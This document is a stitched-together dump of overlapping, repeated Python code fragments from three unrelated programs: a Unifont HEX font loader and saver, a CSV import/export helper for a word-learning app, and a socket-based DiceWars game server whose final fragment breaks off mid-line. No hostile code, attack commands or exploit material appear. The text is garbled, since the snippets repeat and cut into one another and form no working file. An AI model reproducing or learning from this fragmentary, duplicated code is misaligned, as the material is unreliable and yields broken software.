"_load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont",
"savers from ..streams import FileFormatError from ..font import Font from ..glyph import Glyph",
"font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save",
"return lines def split_global_comment(lines): \"\"\"Split top comments into global and first glyph comment.\"\"\"",
"comments (not line and comment and comment[-1] != '') # marked as comment",
"# get labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if",
"glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex format.\"\"\" if len(glyph.char)",
"for _c in glyph.char), # hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char):",
"grapheme clusters.') return False if glyph.height != 16 or glyph.width not in (8,",
"lines = [_line or '' for _line in lines] # remove \"comment char\"",
"font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream,",
"'Extended Hex format only supports glyphs less than 32 pixels high, ' f'glyph",
"for _line in lines] # remove \"comment char\" - non-alphanumeric shared first character",
"comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('')",
"return False return True def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return",
"+ '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code glyph.as_hex().upper()",
"global and glyph if not glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key,",
"value, comment)) comment = [] # preserve any comment at end of file",
"in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports character-cell or multi-cell fonts.'",
"Hex format only supports glyphs less than 32 pixels high, ' f'glyph {glyph.char}",
"_key in key.split(',')) except ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph",
"is found, split comment lines between global and glyph if not glyphs and",
"[]), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines and",
"HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\" return",
"comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve",
"remove \"comment char\" - non-alphanumeric shared first character firsts = str(set(_line[0:1] for _line",
"= 8, num_bytes else: width, height = 16, num_bytes // 2 # get",
"splitter = lines[::-1].index('') except ValueError: global_comment = lines lines = [] else: global_comment",
"not a valid line, treat as comment or set(value) - set(string.hexdigits + ',')",
"preserve empty lines if they separate comments (not line and comment and comment[-1]",
"file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits",
"font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports character-cell or"
] |
[
"answers[i] == 'False': answers[i] = False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned,",
"= line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if answers[i] == 'True': answers[i]",
"answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file,",
"file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for i in",
"f = open(name, 'a') f.close() return open(name, mode) def import_csv(words_list: list, class_name, filename",
"if answers[i] == 'True': answers[i] = True elif answers[i] == 'False': answers[i] =",
"list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for i",
"= open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader: word = line['word']",
"True elif answers[i] == 'False': answers[i] = False else: answers = [] words_list.append(class_name(word=word,",
"answers[i] == 'True': answers[i] = True elif answers[i] == 'False': answers[i] = False",
"= line['word'] translate = line['translate'] is_learned = True if line['is_learned'] == 'True' else",
"import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file)",
"'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader: word = line['word'] translate =",
"class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line",
"try: return open(name, mode) except: f = open(name, 'a') f.close() return open(name, mode)",
"for i in range(len(answers)): if answers[i] == 'True': answers[i] = True elif answers[i]",
"csv def open_file_or_create(name: str, mode): try: return open(name, mode) except: f = open(name,",
"= csv.DictReader(csv_file) for line in csv_reader: word = line['word'] translate = line['translate'] is_learned",
"def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader =",
"mode): try: return open(name, mode) except: f = open(name, 'a') f.close() return open(name,",
"= line['translate'] is_learned = True if line['is_learned'] == 'True' else False answers =",
"[] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name,",
"== 'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)):",
"mode) except: f = open(name, 'a') f.close() return open(name, mode) def import_csv(words_list: list,",
"'').split(',') for i in range(len(answers)): if answers[i] == 'True': answers[i] = True elif",
"= True elif answers[i] == 'False': answers[i] = False else: answers = []",
"in range(len(answers)): if answers[i] == 'True': answers[i] = True elif answers[i] == 'False':",
"', '').split(',') for i in range(len(answers)): if answers[i] == 'True': answers[i] = True",
"return open(name, mode) def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename,",
"csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader: word =",
"str, mode): try: return open(name, mode) except: f = open(name, 'a') f.close() return",
"except: f = open(name, 'a') f.close() return open(name, mode) def import_csv(words_list: list, class_name,",
"elif answers[i] == 'False': answers[i] = False else: answers = [] words_list.append(class_name(word=word, translate=translate,",
"mode) def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader",
"csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys())",
"False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list,",
"True if line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',') for",
"answers = line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if answers[i] == 'True':",
"in csv_reader: word = line['word'] translate = line['translate'] is_learned = True if line['is_learned']",
"line['translate'] is_learned = True if line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace('",
"translate = line['translate'] is_learned = True if line['is_learned'] == 'True' else False answers",
"def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader()",
"if line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',') for i",
"line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',') for i in",
"filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in",
"for line in csv_reader: word = line['word'] translate = line['translate'] is_learned = True",
"csv_reader = csv.DictReader(csv_file) for line in csv_reader: word = line['word'] translate = line['translate']",
"= [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file =",
"= False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list:",
"open(name, mode) def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r')",
"open_file_or_create(name: str, mode): try: return open(name, mode) except: f = open(name, 'a') f.close()",
"'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader: word",
"is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer =",
"import csv def open_file_or_create(name: str, mode): try: return open(name, mode) except: f =",
"answers[i] = True elif answers[i] == 'False': answers[i] = False else: answers =",
"else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'):",
"line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if answers[i] == 'True': answers[i] =",
"'False': answers[i] = False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close()",
"translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer",
"csv.DictReader(csv_file) for line in csv_reader: word = line['word'] translate = line['translate'] is_learned =",
"= open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for i in range(len(words_list)): csv_writer.writerow(words_list[i].__dict__)",
"word = line['word'] translate = line['translate'] is_learned = True if line['is_learned'] == 'True'",
"= open(name, 'a') f.close() return open(name, mode) def import_csv(words_list: list, class_name, filename =",
"open(name, 'a') f.close() return open(name, mode) def import_csv(words_list: list, class_name, filename = 'data.csv'):",
"range(len(answers)): if answers[i] == 'True': answers[i] = True elif answers[i] == 'False': answers[i]",
"'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if",
"== 'False': answers[i] = False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers))",
"open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader: word = line['word'] translate",
"open(name, mode) except: f = open(name, 'a') f.close() return open(name, mode) def import_csv(words_list:",
"== 'True': answers[i] = True elif answers[i] == 'False': answers[i] = False else:",
"export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for",
"open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for i in range(len(words_list)): csv_writer.writerow(words_list[i].__dict__) csv_file.close()",
"answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file",
"i in range(len(answers)): if answers[i] == 'True': answers[i] = True elif answers[i] ==",
"line in csv_reader: word = line['word'] translate = line['translate'] is_learned = True if",
"False answers = line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if answers[i] ==",
"else False answers = line['answers'][1:-1].replace(' ', '').split(',') for i in range(len(answers)): if answers[i]",
"list, class_name, filename = 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for",
"'a') f.close() return open(name, mode) def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file",
"line['word'] translate = line['translate'] is_learned = True if line['is_learned'] == 'True' else False",
"csv_reader: word = line['word'] translate = line['translate'] is_learned = True if line['is_learned'] ==",
"words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def export_csv(words_list: list, file_name='data.csv'): csv_file = open_file_or_create(file_name, 'w')",
"f.close() return open(name, mode) def import_csv(words_list: list, class_name, filename = 'data.csv'): csv_file =",
"def open_file_or_create(name: str, mode): try: return open(name, mode) except: f = open(name, 'a')",
"= 'data.csv'): csv_file = open_file_or_create(filename, 'r') csv_reader = csv.DictReader(csv_file) for line in csv_reader:",
"answers[i] = False else: answers = [] words_list.append(class_name(word=word, translate=translate, is_learned=is_learned, answers=answers)) csv_file.close() def",
"csv_file = open_file_or_create(file_name, 'w') csv_writer = csv.DictWriter(csv_file, fieldnames=words_list[0].__dict__.keys()) csv_writer.writeheader() for i in range(len(words_list)):",
"'True': answers[i] = True elif answers[i] == 'False': answers[i] = False else: answers",
"return open(name, mode) except: f = open(name, 'a') f.close() return open(name, mode) def",
"is_learned = True if line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace(' ',",
"= True if line['is_learned'] == 'True' else False answers = line['answers'][1:-1].replace(' ', '').split(',')"
] |
[
"\"\"\"Main loop of the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations =",
"+ 1) % self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player",
"= self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle",
"{ 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return battle def",
"player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition():",
"return False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ##################",
": int Size of socket buffer number_of_players : int Number of players \"\"\"",
"------- dict Dictionary of affected areas including number of dice in these areas",
"if player: player.assign_client(socket, client_address) return player else: return False def get_unassigned_player(self): \"\"\"Get a",
"def add_client(self, connection, client_address, i): \"\"\"Add client's socket to an instance of Player",
"with unassigned client \"\"\" for player in self.players: if not self.players[player].has_client(): return self.players[player]",
"} else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr",
"atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice",
"area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for",
"\"\"\" raw_message = self.client_sockets[player].recv(self.buffer) msg = json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type:",
"player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i],",
"'owner': atk_name, 'pwr': def_pwr } else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice,",
"= 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() msg['board'] =",
"winner } elif type == 'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg)",
"dice in these areas \"\"\" affected_areas = [] player = self.current_player dice =",
"0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because",
"changed during the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name()))",
"+ 1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players + 1)) random.shuffle(self.players_order) self.set_first_player()",
"in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering = {old_name:",
"port number i : int Player's name Returns ------- Player Instance of Player",
"True for p in self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(),",
"self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx",
"self.board = board self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership)",
"\"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\")",
"== self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def",
"\"\"\" def __init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and connect",
"player else: return False def get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\"",
"'name': defender.get_name(), 'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def']",
"elif type == 'battle': msg = self.get_state() msg['type'] = 'battle' msg['result'] = battle",
"self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {} rounds",
"of the game areas : list of int Areas changed during the turn",
"% self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx +",
"self.current_player.nickname)) player = self.current_player.get_name() msg = self.get_message(player) if msg['type'] == 'battle': self.nb_consecutive_end_of_turns =",
"self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) return def set_next_player(self): \"\"\"Set next player",
"{ 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() } game_state['score'] = {} for p",
": Player Recepient of the message type : str Type of message battle",
"int Port number Attributes ---------- buffer : int Size of socket buffer number_of_players",
"area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(), 'dice': area.get_dice() } return list_of_areas",
"player: raise Exception(\"Could not assign player to client {}\".format(client_address)) else: return player def",
"win conditions Returns ------- bool True if a player has won, False otherwise",
"def battle(self, attacker, defender): \"\"\"Carry out a battle Returns ------- dict Dictionary with",
"def set_next_player(self): \"\"\"Set next player in order as a current player \"\"\" current_player_name",
"return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an unassigned player",
"in self.players.items()} for name, player in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]:",
"'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn',",
"self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary =",
"i in range(0, def_dice): def_pwr += random.randint(1, 6) battle = { 'atk': {",
"continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self,",
"msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate",
"65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players = players",
"def_pwr += random.randint(1, 6) battle = { 'atk': { 'name': attacker.get_name(), 'dice': 1,",
"self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ##############",
"Port number Attributes ---------- buffer : int Size of socket buffer number_of_players :",
"to an instance of Player Parameters ---------- connection : socket Client's socket client_addres",
"in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop of the",
"area, as well as score of each player \"\"\" game_state = { 'areas':",
"i in self.players: self.send_message(self.players[i], 'game_end', winner=player_name) ############## # NETWORKING # ############## def get_message(self,",
"Client's socket client_addres : (str, int) Client's address and port number i :",
"elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1 affected_areas = self.end_turn() for p in",
"if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def process_win(self, player_nick,",
"== 'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] =",
"defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return battle def end_turn(self): \"\"\"Handles",
"False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the",
"{}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self):",
"new ownership of the areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice",
"information about rolled numbers, dice left after the battle, and possible new ownership",
"socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self):",
"\"\"\"Handles end turn command Returns ------- dict Dictionary of affected areas including number",
"1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1)",
"self.players } elif type == 'game_end': msg = { 'type': 'game_end', 'winner': winner",
"msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg = self.get_state()",
"self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current",
"player: player.assign_client(socket, client_address) return player else: return False def get_unassigned_player(self): \"\"\"Get a player",
"current_idx = (current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx + 1) %",
"BrokenPipeError: pass ############## # GAME LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign",
"old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player in self.players.items()}",
"battle def end_turn(self): \"\"\"Handles end turn command Returns ------- dict Dictionary of affected",
"self.players.items()} for name, player in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket",
"\"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area,",
"return False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for",
"area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self, nicknames_order): renumbering",
"be assigned new owner to player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area)",
"assigned to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if not player:",
"assign player to client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add",
"'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return battle def end_turn(self):",
"'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for",
"self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] != 'client_desc': raise ValueError(\"Client",
"player_name, player in self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = []",
"{'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket",
"self.get_unassigned_player() if player: player.assign_client(socket, client_address) return player else: return False def get_unassigned_player(self): \"\"\"Get",
": socket Client's socket client_addres : (str, int) Client's address and port number",
"self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order) self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player",
"+ 1): player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn()",
"random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at",
"\"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port = port",
"player in self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket for old_name, socket",
"socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as e:",
"self.players.items()} self.players = {renumbering[old_name]: player for old_name, player in self.players.items()} for name, player",
"owner to player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle",
"i): \"\"\"Assign client to an instance of Player \"\"\" sock, client_address = self.socket.accept()",
"OSError as e: self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients",
"__init__(self, board, area_ownership, players, addr, port, nicknames_order): \"\"\"Initialize game and connect clients Parameters",
"= self.current_player.get_name() elif type == 'battle': msg = self.get_state() msg['type'] = 'battle' msg['result']",
"players\") def connect_client(self, i): \"\"\"Assign client to an instance of Player \"\"\" sock,",
"'close_socket': msg = {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self):",
"range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as",
"of {} battles has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() >",
"address and port number i : int Player's name Returns ------- Player Instance",
"game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try: for i",
"# NETWORKING # ############## def get_message(self, player): \"\"\"Read message from client Parameters ----------",
"class Game: \"\"\"Instance of the game \"\"\" def __init__(self, board, area_ownership, players, addr,",
"p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if",
"was assigned to \"\"\" self.client_sockets[i] = connection player = self.assign_player_to_client(connection, client_address) if not",
"exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {}",
"attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name() def_name",
"False def close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## #",
"p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns -------",
"message and carry out the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname))",
"connect_client(self, i): \"\"\"Assign client to an instance of Player \"\"\" sock, client_address =",
"battle winner : int Winner of the game areas : list of int",
"from client Parameters ---------- player : int Name of the client Returns -------",
"\"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations = set() try: for i in",
"turn command Returns ------- dict Dictionary of affected areas including number of dice",
"self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name]) def adjust_player_order(self,",
"i in range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players",
"dict Dictionary containing owner, dice and adjacent areas of each area, as well",
"if hello_msg['type'] != 'client_desc': raise ValueError(\"Client send a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname'])",
"self.client_sockets = {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name",
"for old_name, player in self.players.items()} for name, player in self.players.items(): player.name = name",
"True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {} battles",
"current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players]",
"to be assigned new owner to player : Player New owner \"\"\" area.set_owner_name(player.get_name())",
"+ 1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError:",
"== set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self):",
"p in self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return",
"number i : int Player's name Returns ------- Player Instance of Player that",
"self.get_state() msg['type'] = 'game_state' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name()",
"= { 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr }",
"socket\") self.socket.close() ################## # INITIALIZATION # ################## def initialize_players(self): self.players = {} for",
"1): player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if",
"affected_areas = [] player = self.current_player dice = player.get_reserve() + player.get_largest_region(self.board) if dice",
"= self.players_order[(current_idx + 1) % self.number_of_players] continue self.current_player = self.players[idx] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name()))",
"self.port = port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles",
"player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False",
"player to client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's",
"if a player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive ==",
"nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1",
"NETWORKING # ############## def get_message(self, player): \"\"\"Read message from client Parameters ---------- player",
"end turn command Returns ------- dict Dictionary of affected areas including number of",
"for i in self.players } elif type == 'game_end': msg = { 'type':",
"areas of each area, as well as score of each player \"\"\" game_state",
"0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in self.players: player = self.players[p]",
"run(self): \"\"\"Main loop of the game \"\"\" from dicewars.ml.game import serialise_game_configuration, save_game_configurations configurations",
"if not area.add_die(): areas.remove(area) else: if area not in affected_areas: affected_areas.append(area) dice -=",
